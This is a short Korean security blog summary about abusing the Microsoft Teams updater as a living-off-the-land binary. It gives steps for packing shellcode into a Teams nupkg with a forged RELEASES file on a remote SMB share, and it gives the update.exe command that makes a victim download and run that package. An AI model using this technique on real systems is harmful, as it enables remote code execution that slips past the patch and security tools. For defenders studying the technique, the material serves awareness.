[하루한줄] Microsoft Teams Updater Living off the Land

URL

Microsoft Teams Updater Living off the Land

Target

  • MS Teams Updater

Explain

Microsoft Teams의 업데이트 프로그램을 lolbas(Living off the land binary and script)로 사용할 수 있습니다. 이전에 존재하던 code execution에 대한 취약점 수정은 URL을 통하여 업데이트 기능을 제한하는 것입니다. 하지만 업데이트 프로그램은 제품 업데이트를 위해 공유/로컬 폴더를 통한 로컬 연결이 가능합니다. 따라서 원격 SMB 공유 폴더를 통해 해당 패치를 우회할 수 있습니다.

이 취약점을 악용하기 위한 payload를 작성하는 단계는 다음과 같습니다.

  1. %localappdata%\Microsoft\Teams\packages에서 Microsoft Teams pre-built package를 통해 nupkg 패키지 추출(ex. Teams-1.3.00.27559-full.nupkg)

  2. Teams-1.3.00.27559-full.nupkg\lib\net45에 shellcode를 squirrel.exe 파일로 넣은 후 압축

  3. metadata 계산

    sha1sum Teams-1.3.00.27559-full.nupkg.nupkg && wc -c < Teams-1.3.00.27559-full.nupkg

    output:

    fa8b87f0b995498a6e890c832dcaf968997608d4 Teams-1.3.00.27559-full.nupkg 4695

  4. RELEASES 파일을 생성한 후 위의 결과 값을 복사해서 저장

  5. Teams-1.3.00.27559-full.nupkgRELEASES 파일을 메인 디렉터리에 넣고 원격 SMB 서버에 업로드

피해자가 아래 명령어를 통해 해커의 원격 SMB 서버로 update를 진행하면 Microsoft Teams에 의해 다운로드되고 실행됩니다.

%localappdata%\Microsoft\Teams\update.exe --update = \\ remoteserver\payloadFolder


본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.